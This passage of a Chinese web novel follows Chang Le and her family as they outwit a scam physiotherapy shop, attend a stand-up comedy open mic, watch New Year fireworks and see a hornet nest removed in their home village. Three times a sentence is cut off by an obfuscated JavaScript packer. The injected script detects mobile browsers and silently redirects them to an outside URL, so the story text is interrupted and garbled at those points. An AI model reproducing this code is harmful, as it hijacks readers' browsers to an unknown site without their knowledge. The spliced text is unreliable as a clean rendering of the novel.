姥姥把电饭煲往电疗椅上一搁,揉揉摇,又捶捶肩,显出很吃力的样子:“哦唷累死我了……小杨啊,这电饭煲还是从你手上领的呢,现在出了这种事,我是不敢再用了,你给我退了吧,全部换成鸡蛋。” 小杨维持着得体的笑容:“李婆婆,这电饭煲,您要是不想要,随便怎么处置都行,但是换不了别的东西。毕竟这是赠品,您一分钱没花,所以也没什么损失,对吧?” 姥姥眼珠子一翻,声音高了八度:“什么叫我没有损失?我每天起早贪黑来做电疗,付出了多少时间和精力,这些不算损失吗?” 小杨噎了一下,很快换了个策略:“李婆婆,不是我不想给你换,是店里的赠品已经送完了,暂时没有存货。这样吧,你先把电饭煲放在这儿,等我们进货了再通知你,行吗?” 姥姥有些动摇了:“都送完了?鸡蛋也没了?你这……什么时候进货?” 小杨脸上浮起笑意,张开嘴刚要回答,常乐突然开口:“现在就给我换,不然,我就把你昨天说的话做成横幅,挂在你们店门口。” 此话一出,小杨笑容瞬间僵在脸上,转过头,不可置信地瞪着常乐。 气氛霎时凝固。 其他店员也都安静下来,一脸好奇地看向小杨。 小杨脸上渐渐挂不住了,僵持了一会,她终于投降,冷冷道:“跟我来。” 常乐努力压住上扬的嘴角,跟在小杨身后,进了里间的小仓库。 三层货架上摆满了未开封的电疗仪、按摩枕,以及各种补品礼盒,靠门的地上零散地堆放着各种赠品,鸡蛋一板板摞在一起,还没分装。 小杨蹲在地上,拿起一个网兜,正要往里装鸡蛋,姥姥一把推开她,霸气地说:“不用,我们直接端回去。” 小杨眉头一皱,语气不悦:“你要拿多少?” 姥姥:“你有多少我拿多少。” 常乐:“……” 她小声劝姥姥:“姥,咱一人端一板就行了,多了也拿不了。” 姥姥拧眉瞪着她:“你是哪边的?怎么跟个墙头草一样?拿不了我就多拿几次!” 常乐:“……” 有时候她真想把姥姥挂在网上,让网友们见识一下这老太太有多奇葩。 “两板有六十个,够了,拿这么多咱们冰箱也放不下。” “六十个才够吃几天?多拿点多拿点,你妈的冰箱大。” “这么多,你也拿不动……” “拿得动,看我的。” 姥姥展示出惊人的臂力,一把端起五板鸡蛋,常乐迫于她的淫威,不得不拿起剩下的三板。 “这些可以拿吧?”都这时候了,姥姥还要装模作样地请示一下小杨。 小杨吐出一口气,面无表情地点点头。 这一刻,常乐甚至有点同情她了。 外头,翠姨和孙奶奶的事也商量得差不多了,店员已经向总部汇报了此事,并承诺明天总部会派人去孙奶奶家,查看厨房的情况。如果情况属实,当天就能打款。 各偿所愿,皆大欢喜。 小杨将四人送到理疗店门口,脸上又恢复了职业的笑容。 她对常乐说:“事实证明,我说的没错。” 常乐一愣。 你说了什么?你刚刚什么也没说啊? 小杨没有解释,冲她一笑,转身回到了店里。 姥姥也好奇地问:“她说了什么没错?” 常乐摇摇头,“不知道,奇奇怪怪的。” 两人端着沉甸甸的鸡蛋,挪着小碎步,往小区大门走去。 在小区凉亭,两人停下来歇了会儿,姥姥又问:“对了,你刚刚跟她说什么,要把她的话做成横幅……她怎么一下子态度就变了?她到底说了什么话?” “嗐。”提到这事,常乐就来气,“昨天我吃火锅,碰到她坐在隔壁桌,她说,咱们教师小区——” 话音突然止住。 常乐终于反应过来—— 原来小杨最后那句话是这个意思。 啊呀呀呀呀!常乐气得咬牙切齿,捶胸顿足。 她输了!别人阴阳怪气,她居然没有当场还击!这个笨脑子,要你何用! 要不是怀里还抱着三板鸡蛋,她真想冲回去,跟小杨激情对骂,再战三百回合。 算了算了,常乐大口喘着粗气,宽慰自己,胜败乃兵家常事,下次再好好发挥嘛。 而且,精神上她虽然输了,但物质上她赢了啊,这么多鸡蛋呢,够她全家吃到明年了。 -- 回到家,常乐遵照姥姥的旨意,直接将鸡蛋运到二楼。 一进屋,林文娟的声音就从洗手间传来:“晒个床单,晒了一个多小时,鞋子泡在桶里都臭了,也不知道刷!” 林文娟骂骂咧咧地出来,视线落在常乐怀里的鸡蛋上,不由得一愣。 “买这么多鸡蛋干嘛?家里又不缺。” “这是战利品。”常乐把鸡蛋放在桌上,转身朝门口走去,“还有呢,你等着。” 常乐又跑了两趟,才将鸡蛋全部运完。 林文娟一边往冰箱的抽屉里码鸡蛋,一边听常乐讲述前因后果。 她又无奈又想笑:“说真的,我觉得你们两个更像反派,打家劫舍,趁虚而入。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610588|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常乐嘿嘿一笑,从冰箱里拿出一罐酸奶。 当个没皮没脸的反派,可比做个忍气吞声的老实人要爽多了。当然,要在法律允许的范围内。 “对了。”林文娟忽然想起一件事,“我刚刚收拾你房间,看到一件卫衣,我给洗了。” 常乐心跳忽然漏了一拍。 林文娟明知故问:“那是你的吗?之前怎么没见你穿过?” 常乐若无其事地喝着酸奶,大脑却在疯狂转动。 说吧,怕林文娟误会。不说吧,更容易误会。 其实也没什么好瞒的,不就是吃顿火锅嘛,遮遮掩掩的反而会让人浮想联翩。 “哦,昨天跟易诚去吃火锅,他借我穿的。”常乐尽量表现得随意,“是该洗洗了,火锅味道大。等晒干了我再还回去。” 林文娟“哦”了一声,用同样随意的口吻试探:“你们开始约会了?” 常乐一口酸奶差点呛住。 “咳咳!妈你别瞎说,什么约会,咳咳……” 林文娟拍拍她的后背,“不是就不是,你紧张什么?就算是也不要紧,又不是早恋,我还能棒打鸳鸯不成?” 常乐脸涨得通红,哑着嗓子说:“真不是!我就是馋了,想吃点重口味的,正好碰上他了。我俩是纯洁的饭搭子关系。我、发、誓!” “这点小事还要发誓?”林文娟轻叹一声,面露几分惋惜,“我还不了解你吗?你对美食可比对帅哥有兴趣多了。” -- 第二天一早,常乐找了个纸盒,将电疗仪和杂七杂八的配件都装了进去。 昨天晚饭时,一家人聊起白天发生的事,一致决定要把这台电疗仪还回去,以后也不跟这家店打交道了。 毕竟,这台仪器放在家里也是个摆设。姥姥怕坏了退不了,都没敢用,还得隔三差五给它擦擦灰,烦都烦死了。 一想到今天又能与小杨battle一场,常乐兴奋得睡不着,连夜在小红书上查找吵架攻略。 她已经做好了万全的准备,就等着一雪前耻了。 结果,等她斗志昂扬地冲到理疗店门口时,却发现卷帘门紧闭,原本在门口招呼排队的店员也没有出现。 门口只有几个老头老太太,都在茫然地等待着。 不应该啊,常乐看了眼手机,已经八点了,还没开门吗? 该不会跑路了吧? 常乐等了会儿,决定先去吃早饭。 吃完一碗牛肉粉后,她再次抱起纸盒,回到理疗店门口。 八点半,还是没开门。 常乐蹲在地上,双手托腮,陷入了迷茫。 老头老太太们在店门口来回转悠,来了几个,又走了几个,都跟她一样茫然无措。 太阳越升越高,渐渐爬到头顶,终于来了个中年男人,在卷帘门上贴了张纸—— 白纸黑字,旺铺招租。 几个老头围住他,七嘴八舌地问:“怎么回事啊?”“今天还开不开门了?”“你贴这个是什么意思?”“你是老板吗?”…… 中年男人也稀里糊涂的:“不关我的事啊,这家店就租了两个月,这还没到期呢,昨天晚上突然跟我说已经搬走了,让我重新招租。” 听到这话,常乐抱起纸箱起身,拍拍屁股,准备回家。 果然跑路了。看来她的预感还是挺准的。 就为了不赔那五万块钱,至于么? 跑就跑了吧,反正她们家也不亏,白得了那么多鸡蛋呢。 就是可惜她连夜做的吵架攻略了。 她才刚刚体验到做反派的乐趣,对手就落荒而逃了,唉,真是不经打。 22. 22 年前这几天,理疗店跑路一事成为了小区的头条新闻,各路小道消息传得有鼻子有眼的。 有说张家老头刚花一万块,买了个终身免费做理疗的VIP会员,有说李家老太太认小杨当干女儿,还给她送了个金手镯,还有的说孙奶奶得知消息当场崩溃,哭着喊着要报警…… 除了报警这条,常乐对其它传言都持怀疑态度。 在易诚家的训练室,两人聊起这事。 易诚分析道:“我觉得他们本来就计划在年底关店,因为在外打工的年轻人都回家了,看到老人上当受骗,肯定会劝阻,买了东西的也会拿去退货,他们店本就来没打算开多久,又碰上火灾的事,所以就连夜跑路了。” 常乐叹气道:“跑路是在意料之中,就是不知道咱们小区有多少冤大头上当受骗,一台电疗仪就要一万多呢,那个小杨卖了八台,其他人应该也卖了不少。” 说起电疗仪,常乐更疑惑了—— “这玩意儿她还要不要了?” 易诚推测,小杨本打算到期后再上门推销一波,能卖多少算多少。就算没卖成,收回去还能放在店里给人体验,反正她不亏。只是没想到出了这事,这个计划怕是进行不下去了。 常乐又问:“你家那台电疗仪打算怎么处置?” 易诚:“既然给你了,就放心大胆地用呗。” 易诚将她带到易叔叔的卧室,电疗仪就摆在床头的躺椅上,易叔叔坐在上面,手指连着电线,仪器发出轻微的“嘀嘀”声。 常乐跟易叔叔打了个招呼,退出了卧室。 “你爸还挺懂享受。”常乐调侃道,“效果怎么样?” 易诚想了想,“大概就跟手摸电门差不多吧。” 常乐哧哧地笑了起来。 训练室里有几个小孩在玩闹,其中一个小姑娘抱着图图舍不得撒手。 她仰头央求易诚:“哥哥,我今天能住在你家吗?” 易诚蹲下身,摸了摸图图的脑袋,笑道:“你是不想回家写作业吧?” 小姑娘嘴一瘪,“寒假又不能来学轮滑,只能学数学学英语,好烦啊。” 听到两人的对话,常乐好奇地问:“你寒假没开班吗?” 易诚“嗯”了一声,解释道:“我准备等春天再开班招生,冬天不适合滑轮滑,太容易骨折了,而且我爸这个病,冬天发病率更高,需要人贴身照顾。” 说话间,一个中年女人走进训练室,揪着小姑娘的羽绒服,将她拎走了。临走前,还冲易诚点点头,“又给你添麻烦了。” “没事儿。” 易诚收拾完小姑娘留下的玩具,转身看向常乐。 “上次吃火锅送的票,是今天下午的吧?” “对。”常乐从大衣口袋里掏出两张票,“我正想跟你商量这事,你要去吗?” 易诚弯唇一笑:“去啊,支持一下你的老同学嘛。” 常乐仍有些纠结。 “你不知道,我以前可烦他了,他老给人起外号,开一些很low的玩笑。”她撇撇嘴,”我觉得他的脱口秀水平肯定不怎么样。“ 易诚从她手里抽出一张票,说:“那正好啊,如果他表现得不好,你可以见证他的失败。如果他不幸表现得很好,你可以收获二十分钟的快乐。” 常乐立刻被他说服了。 有什么比见证昔日仇人当众出糗更有趣呢? 脱口秀表演场地在城区一家酒吧的二楼。两人在开场前十分钟赶到时,意外地发现里面已经坐满了人,目测不少于两百人。 “他这么受欢迎呢?”常乐惊奇道。 易诚在角落找了两张椅子,用袖子擦了擦上面的灰,让常乐坐下。 “这是个拼盘演出,观众不一定是冲他来的。”他安慰道,“小地方娱乐活动有限,过年期间,这种演出肯定比平时要火爆。” 常乐忽然想起什么,一拍巴掌道:“对啊,没准儿大家拿的都是赠票,不来白不来嘛。” 易诚大笑起来。 一个戴眼镜的小哥上台报幕,演出正式开始。 不得不说,某些线下脱口秀是真的…… 难登大雅之堂。 上台的几个人,有男有女,讲的全是男女之事。要么是恋爱的烦恼,要么是约P的离奇经历,要么是结婚生子那些陈芝麻烂谷子的事。 而且,尺度之大,令人咋舌。 常乐听得连连叹气。 她小声吐槽:“我要是想听黄段子,随便找个中年男人浓度高的酒局一坐不就行了嘛,何必专门来这儿,让纯洁心灵被污染。” 易诚也无可奈何:“可能他们以为,线下观众就喜欢尺度大的。” 终于轮到洪子豪登场了,台下响起了稀稀拉拉的掌声。 “大家好,我是大红枣,是个火锅店老板。”简短的自我介绍结束,他进入主题:“我有个女朋友——” 常乐又叹了口气。 怎么又是谈恋爱那档子事啊?女生的心思难猜、女生出门要很久、给女生拍照很痛苦,诸如此类。 台下的反应也不够热烈,有几处包袱没响,台上的洪子豪肉眼可见地紧张起来,最后连声音都颤抖了。 常乐很想幸灾乐祸,可是又忍不住同情他。 她觉得自己太刻薄了。 初中时期的那点小仇小怨算得了什么呀,没必要记那么久。待会儿见到他,还是多多鼓励吧。 散场后,两人在楼梯口碰上大红枣,他有些局促,问常乐自己的表现怎么样。 常乐尬笑:“哈哈哈,不错不错。” 大红枣:“……没了?不给点建议什么的?” 常乐挠挠头,“嗐,我哪懂什么脱口秀啊,听得开心就行了。”她转过头,向易诚投来求助的目光,“我朋友懂得多,他应该能给点建议。” 易诚只好硬着头皮说:“呃,我是觉得,你们几个讲的内容太同质化了,会让观众产生审美疲劳。” 常乐连连点头:“对啊,而且台下的观众大多是女生,你一直在吐槽你女朋友,有些梗会让观众不太舒服,感觉被冒犯了。” 大红枣笑着解释:“你不懂,有位名人说过,脱口秀就是冒犯的艺术。” 常乐:“那你也不能光冒犯别人,不冒犯自己啊。有时候,自嘲反而更有喜剧效果,还会让观众对你产生,呃……怜爱。” 大红枣挠挠肚腩,露出苦恼的神色。 “要我自嘲?我有什么可嘲的?我事业有成,又一表人才,还那么幽默风趣……” 常乐跟易诚对视一眼,无语俩字都写脸上了。 常乐决定好人做到底。 她给大红枣举例:“比如啊,你可以说你女朋友在小红书发了一张跟你的合照,底下马上有人问她,姐妹,你是不是有恋猪癖?” “噗——”易诚笑喷了。 大红枣面红耳赤,又气又笑:“你这嘴也太毒了!” “这就是冒犯的艺术!”常乐憋着笑,一本正经地解释,“你相信我,多讲点这种段子,肯定能拉高观众对你的好感度。” 大红枣思索片刻,勉强接受她的建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616907|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议:“行吧,我抓紧时间写篇新稿……下次演出是大年初三,你们有空吗?” 常乐有些为难:“……我再看看吧。” 大红枣说:“到时候直接跟工作人员报我的名字,就说是我老同学。”他双手拱拳,“一定要来捧场啊!” 盛情难却,常乐无奈同意:“行,我尽量抽出时间。” -- 年前最后几天,常乐除了做点家务、接送林文娟逛街购物、教姥爷做直播之外,再无其它任务。 连小奶狗都不用一只只捉起来喂了,一盆羊奶放在地上,四小只像饿狼扑食似的围过来,不一会儿就将盆底舔光。 日子就这么安稳地过去了。 除夕夜,一家五口围坐在沙发上看春晚,狗窝也搬到了沙发边,四只小奶狗围着胜宝,嬉闹欢跳,玩得不亦乐乎。 电视开着就是听个响,每个人都有自己的事要忙。 常乐和林文娟在包包面,常建民在一边泡脚,一边给各种领导同事发拜年微信。 发到一半感觉不满意,他向常乐求助:“你再帮我找几条新年祝福语,要显得有文化,不能太大白话。” 常乐翻了个白眼:“爸,这种东西没人会认真看的。” 她发现,不上班还有个好处,就是不用再搞这种虚伪的形式主义了。今年除夕,她一条微信都没发,这种全世界都不care的感觉简直太爽。 姥姥在单人沙发上体验电疗——听完常乐的一番分析后,她终于敢放心使用电疗仪了。 姥爷沉浸在抖音里,不时抬头催一催姥姥,他还等着被电呢。 就这么熬到了十点。 包面已经包好了,留着明天早上吃。常乐玩着手机,不时看一眼电视。 节目还是那么无聊,网上的吐槽也都在跟风,没有一点创意。 常乐打了个哈欠,第一百零一次抱怨道:“到底是谁规定的除夕夜必须看春晚啊?就没点别的娱乐活动吗?” 林文娟瞥她一眼,“困了就去睡,反正明天有重播,想看几遍都行。” “行吧。” 躺在床上玩手机,总比坐在电视机前被尴尬小品强行挠咯吱窝要好。 常乐站起身,正要把狗窝挪到房间,忽然听到窗外“嘭”的一声炸响。 她顿时兴奋起来:“有人放烟花!” 姥姥姥爷正准备回卧室,听到动静,不约而同地转头,向门口走去:“走,去看看。” 一家五口穿着居家服,揣着手机和钥匙出门了。 烟花一朵一朵在头顶炸开。 大家一边仰头看着夜空,一边朝声音传来的方向走去。 小区的下沉广场已经围了一圈人,中间摆着一个方形烟花盒子,火星倏地蹿出,腾空而起。 “嘭——” 璀璨烟火,绚丽绽放,映亮了夜空,也映亮了所有人的脸。 常乐看到了很多熟悉的面孔,前排几个小孩在争着放小烟花,孙奶奶和翠姨笑得很开心,周俊臻站在中间,挽着两人的胳膊。 易叔叔坐在轮椅上,戴着厚厚的围巾和帽子,吃力地仰起头,易诚站在他身后,扶着轮椅,却没有抬头。 他的视线与她相撞,隔着烟火与人群,他弯了弯眼眸,用嘴型在说: “新年快乐。” 常乐忍不住笑了。 她转过头,看见常建民搂着林文娟,两人的脑袋靠在一起,姥姥和姥爷相互搀扶着,脸上的沟壑在烟火的映照下更显深刻。 所有人都在笑,眼里都缀着喜悦的光。 23. 第 23 章 大年初三这天,常乐和父母开车回老家拜年。 山路崎岖蜿蜒,车身一颠一颠,常乐开了一小段路就颠得受不了,下车跟常建民交换了位置。 “怎么滴?”常建民得意地挑挑眉,“姜还是老的辣吧。” 常乐靠着车窗,抚着胸口,缓解晕车带来的恶心感。 常建民风轻云淡地开完了剩下的路程。 常乐的爷爷奶奶早已过世,老家只剩下大伯一家。小车在一处空地停下,一家三口提着礼品盒和早上刚买的猪肉,沿着小路往上爬。 大伯老远就看见了他们,不一会儿,一条长鞭炮就甩了出来,“噼里啪啦”炸得满地红红火火。 “大伯大妈,过年好!”常乐一边躲着鞭炮,一边笑脸迎上去。 大伯大妈将他们请进屋,端上三杯红糖水,上面漂浮着白色的米泡——这是一种用糯米制成的膨化食品。 大伯知道常乐喜欢吃这玩意儿,特意将装米泡的铁罐摆在她面前,不停地劝她多吃点。 “唔唔,好吃,跟小时候的味道一样。”常乐边嚼边说,手还不闲着,又抓了一大把。 一屋子人都笑了。 大妈将她端详一番,问:“常乐还是在江城?干什么工作的?” 常乐不好意思说自己失业的事,便敷衍道:“还是老样子,在一家小公司打工。” “一个月到手多少啊?” “嗐,没多少。” 正闲聊着,表姐常悦从二楼下来了。她从小就长得漂亮,个高腿长,盘靓条顺,高中毕业后就去了杭城,做起了淘宝模特,几年后又进了一家mcn公司,现在是一名带货主播。 大伯大妈见女儿发展得不错,也跟着她去了杭城,在一家服装厂打工。 “悦悦姐,你从杭城回来了?” 常乐起身准备迎接她,突然意识到两人身高的差距,又悻悻地坐下。 林文娟起身拉着常悦的手,亲切地说:“悦悦啊,刚刚你妈还跟我们说呢,你今年赚了四十多万,真是厉害啊。” 常悦尴尬地笑笑:“嗐,哪有那么多啊,大头都被公司拿走了,我就是个打工的,也就拿个零头。” 聊了几句,大妈又把话题转到常乐身上:“乐乐应该也赚了不少吧?” “没多少,跟表姐不能比。”常乐打着哈哈。 大妈不依不饶:“没多少是多少啊?毕竟是大学生,一个月至少也有两、三万吧?” 常乐感觉胸口被扎了一箭。 她讪笑道:“哪有那么多啊?还得扣除五险一金和税费呢,实际拿到手也就两万出头吧。” “哟……”大妈目瞪口呆,一时竟词穷了。 常乐露出厚颜无耻的微笑。 不是爱打听吗?我年薪五十万,你难受去吧。 林文娟幽幽地瞥她一眼,仿佛在说: 吹这么大的牛,也不怕兜不住。 几个人都不接话,气氛一时有些尴尬。 常建民赶紧打圆场:“走,咱们去老屋看看。” 老屋是以前爷爷奶奶住的一栋红砖小平房,前后都有院,已经荒废多年了。 打开铁栅门,院子里长满了荒草。 常建民常念叨着,等他老了就在这宅基地上建两栋房子,两家人住在一起,种种菜,钓钓鱼,日子不知过得多清闲。 可惜,这话说了十几年,一直是纸上谈兵。 小平房的红砖墙面早已褪色,推开两扇木门,屋里的陈设依旧如昨,地面和家具蒙着一层厚厚的灰。 穿过前厅,后面是厨房,有扇小门连接着后院。 常建民走进去,环视一圈,忽然“呀”了一声。 “怎么了?” 常乐紧跟在他后面,走进后院,顺着他的视线望去,顿时觉得毛骨悚然。 屋檐下挂着一只土黄色、瓮形的马蜂窝,主体部分居然有篮球那么大。 常乐身上起了一层鸡皮疙瘩。她抱着胳膊,催促常建民:“快走吧,马蜂蜇人可疼了!” 小时候,她每次放暑假都要回老家待一阵子。有次,她不小心被马蜂蜇了,半边脸肿得跟猪头一样,送医院打了几瓶吊针才好。 常建民一动不动,仰头观察着马蜂窝,半晌才说:“冬天马蜂都冻死了,这个蜂巢多半已经空了。我去找根竹竿,把它弄下来。” “啊?”常乐大惊失色,差点落荒而逃。 林文娟严肃地说:“你别逞能,万一里面还有马蜂,你就成了活靶子。” 大伯也劝说道:“对啊,你别瞎折腾了,孩子们还在这儿呢。我记得乐乐小时候被蜇过,疼得哭爹喊娘的。” 常乐用力点头。 面对众人的反对,常建民英雄梦碎,只能惋惜地叹了口气:“行吧,我再想想办法。” 从老屋出来后,大伯忽然想到:“对了,咱们村有个蜂农,一年四季都在外头跑,过年了才回来。他肯定有法子对付这种马蜂窝,我去问问他。” 大伯所说的蜂农,住在村子的边缘。几个人走了十分钟的山路,才找到一栋小矮楼,门口摆满了蜂箱,有零星几只蜜蜂飞进飞出。 “方大爷。”大伯朝屋里吆喝道,“家里有人吗?” 等了一会儿,从房子里走出一个皮肤黝黑的精瘦老头,眯眼看了看大伯,又转头打量着常建民和常乐。 大伯迎上去,三言两语跟他说明了来意。 方大爷略略点头,转身回屋里,拿出了老式手机。 “我有个侄子是专门干这个的,大家都叫他马蜂猎人。”他说,“我打个电话问问,看他今天有没有空。” 常建民急忙说道:“大爷,不用这么麻烦了,你家应该有那种防护服吧?你借我穿一下,我自己就能把马蜂窝搞下来。” 大爷一边低头在手机上翻找,一边摆摆手说:“我们穿的防护服很薄,根本防不了马蜂。马蜂的刺长,能穿透衣服扎你皮肤上。” 说完,他拨通电话,寥寥数语便说明了情况。 “我侄子过来一趟很快的,你们回去等着吧。” 在大伯家吃完午饭,那位神秘的大侄子还没出现。 林文娟等得有些不耐烦了,小声催促常建民:“咱们先回去吧,下午家里还有点事。” “别啊,再等等吧。”常建民一心想见识下这位马蜂猎人的身手。 常乐也不想错过这个看热闹的好机会。 林文娟只好又坐回去,抓起一把瓜子嗑了起来。 又过了半小时,门口终于传来动静,一阵摩托轰鸣声由远及近,最后停在了大伯家门外。 所有人都朝门口望去。 从摩托车上下来一个年轻小伙子,皮肤略黑,身材瘦长,长相略显稚气。 他正从摩托车后座上卸下一个硕大的包裹。 常乐走到门口,“咦”了一声,语气不太确定:“你就是方大爷的侄子?” 小伙子抬眼看向她,笑出一口白牙,解释道:“我哥正在赶大集,一时半会儿赶不回来,他就喊我过来了。反正是个死窝,好搞。” 常建民也来到门外,略显担忧地问:“你还是个学生吧?” “我都成年了,跟着我哥干了好几年,放心吧。”小伙子用力一甩,将包裹扛在肩头,“马蜂窝在哪儿呢?” 常建民仍不放心。他带着小伙子来到老屋,一路上反复确认:“你有安全措施吧?你是徒手去摘吗?摘下来的蜂巢你打算怎么办?”…… 小伙子一开始还耐着性子解释,后来都烦了,懒得搭理他。 他到后院看了一眼,把包裹放在地上,对两人说:“你们在前院门口等着吧。” 常建民大失所望:“我不能在旁边看看吗?” 小伙子拧眉瞪眼,“当然不行,万一里面还有活蜂呢?你们又没有防护服。” 说完,他打开包裹,从里面掏出一件厚厚的连体衣,两条腿先伸进去,然后是胳膊,最后戴上防护帽。 胸前一道拉链,从下往上拉好,将他包裹得严严实实。 他冲两人摆了摆手,示意他们赶紧出去。 常乐忽然灵机一动,掏出手机问:“我能把手机摆在这里,录个视频吗?” 小伙子思忖片刻,点点头,表示同意。 于是,常乐打开手机视频模式,在后院的墙上找了块凸起的砖头,将手机稳稳地架在上面。 常乐和常建民退出了老屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621152|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在院子外等待着。 这时,方大爷爷也慢悠悠地踱步过来了。 看到两人担忧的神色,他笑呵呵地安慰道:“放心吧,我侄子是退伍军人,干这一行五六年了,熟练得很,不会失手的。” “大爷,”常乐指着屋里,“来的好像是个小孩。” 方大爷一愣,很快反应过来:“哦,方煦啊,他也不错,不过比他哥还是差远了。” 默了片刻,常乐问出她最关心的问题:“大爷,他们怎么收费啊?” 方大爷摆摆手,“免费的。” “啊?志愿者啊?” 常乐顿时对这个小伙子肃然起敬。 方大爷解释道:“收回来的蜂巢、蜂卵都可以卖钱,还有马蜂泡酒,集市上好多人都抢着要呢。他们主要是靠这个赚钱。” 这下常乐放心了。 她心想,这一行还不错,既可以赚钱,又能帮村民解决麻烦,可谓是双赢。 唯一倒霉的就是马蜂了,不过,谁让它们在别人家私搭乱建呢?还敢出来骚扰主人,实在可恶。拆除违建,合理合法。 她正想着,小伙子就推开门走了出来,他已经脱下了笨重的防护服,一身清爽,肩上还扛着那个大包。 常建民惊奇道:“这么快?” “小菜一碟。”小伙子从包里拎出一个白色网罩,里面是个完整的蜂巢。 他又举起一个塑料瓶,里面装着四、五只马蜂。 “看,这几只还活着。” 常建民顿时感到一阵后怕。要是他刚刚逞强硬上,肯定会被这几只大马蜂叮成猪头。 他仍有些疑惑:“不是说马蜂冬天都会冻死吗?” 小伙子解释道:“今年是个暖冬,气温一直没有低于零下,所以马蜂比往年冬天要活跃一些。” 说到这事,倒提醒了马大爷:“方煦啊,你上我屋里头看看,我家蜂箱口最近总有蜜蜂尸体,我怀疑是被马蜂咬死的。” 方煦豪迈地将包裹甩到肩头,跟在方大爷身后,“走,去看看。” 常建民注视着他的背影,眼里流露出几分羡慕。 “哎,等等!”常建民突然想起什么,急忙追上方煦,“小兄弟,留个联系方式吧,以后你们去收蜂窝,可以叫上我。” “你?”方煦疑惑又好笑,“你去干嘛?” 常建民举着手机给他扫码,一脸真诚道:“我去观摩学习嘛。” 微信加上了。方煦跟在方大爷身后,大摇大摆地走了。 常乐跟常建民又回到大伯家。 已经是下午三点多了,一家三口坐上车,跟大伯一家告别。 小车刚驶出几米远,常乐突然爆发一声尖叫。 “啊啊啊啊啊——我的手机!” 林文娟和常建民一脸无语地看着她。 你怎么不把脑子也丢了呢? 一行人又返回老屋、打开院子大门、再推开木头门,常乐一个箭步冲进后院,一眼就看到自己的手机,正孤零零地立在红砖墙上。 她连忙取下手机,一看,视频还在录制中。 她倒回到半个小时前,几只脑袋都凑过来,一起观看。 只见穿着厚重防护服的方煦从包里抽出一只带网罩的长杆,罩住马蜂窝,用巧劲轻轻一勾,整个蜂窝就落进了网罩里。 几只落网之蜂飞来飞去,想要攻击他,被他用另一只小网罩一一捕捉,塞进了塑料瓶里。 整个过程不超过两分钟。 常乐:就这? 她还以为能看到什么飞檐走壁、徒手捉蜂的绝活呢。 什么马蜂猎人,也不过如此嘛。 常建民看完后唏嘘不已:“真是英雄出少年啊。” 常乐不服气道:“我要是穿着那身铠甲,别说摘马蜂窝了,就是徒手抓蛇都不怕。” 常建民嗤笑:“你就吹吧,就你那点胆子,真要有条蛇,你肯定跑得比过年的猪都快。” 常乐忿忿道:“爸,你也太小瞧我了,想当年,我也是——” 话未说完,林文娟突然指着墙角一截枯树枝,尖叫道:“有蛇!” “啊啊啊啊!”常乐发疯似地惨叫,一溜烟跑没影儿了。 24. 24 从老家回来,常乐在城区的步行街口下了车,老远就看见易诚站在酒吧门口。 他穿着短款飞行夹克,搭配直筒工装裤,一如既往地简单随性。 几个年轻女孩从他身边走过,偷偷回头看了他一眼,窃笑着你推我搡,似乎在互相怂恿。 常乐一路飞奔过去,停在他面前,气喘吁吁地说:“抱歉啊,来晚了……” “没事儿。”易诚弯眸一笑,将手中的奶茶递给她,“演出才刚开始,我打听过了,你同学排第三个,还来得及。” 热乎乎的奶茶捧在手上,熨帖着常乐微微悸动的心。 “走吧。”易诚转身走进了酒吧。 还是同样的场地,但这次只有舞台前方围坐了一堆人,粗略估计只有五十人。 为了不打扰别人,常乐和易诚依旧坐在最后一排。 台上正在表演的是个一头锡纸烫的小伙子,他讲得磕磕巴巴,还不时掏出手机看一眼。 常乐小声嘀咕:“还可以这样啊?” “这场是开放麦。”易诚跟她解释。 哦,难怪人那么少。 开放麦与正式演出不同,是脱口秀演员为了打磨新段子而进行的内测表演,票价很便宜,甚至免费。 因为是半成品,所以不好笑也在情理之中。 台上这位小哥围绕着自己的各路奇葩亲戚吐槽了五分钟,其中,宣泄居多,笑点寥寥。 台下的观众还算包容,每个梗都配合着发出笑声,小哥下台时,也送上了鼓励的掌声。 毕竟是免费的,不能要求太高。 轮到洪子豪上台了,他看上去信心满满。 “大家好,我是大红枣,是一个火锅店老板。”他停顿片刻,忽然低下头,叹了口气,“我女朋友最近要跟我闹分手,她说,她跟我在一起后,就得了很多病。” 台下观众面露疑惑,气氛一时沉重起来。 常乐和易诚面面相觑。 大红枣用低沉的语气说:“她把我们的合照发到小某书上,底下第一条评论是,姐妹,你是不是有恋猪癖?” 台下哄然大笑。 常乐跟易诚交换了一个无语的眼神。 大哥,一个字不改啊?一点创新都没有呗? 易诚凑到她耳边,悄声说:“你的段子效果不错。” 常乐鼻孔重重哼气。 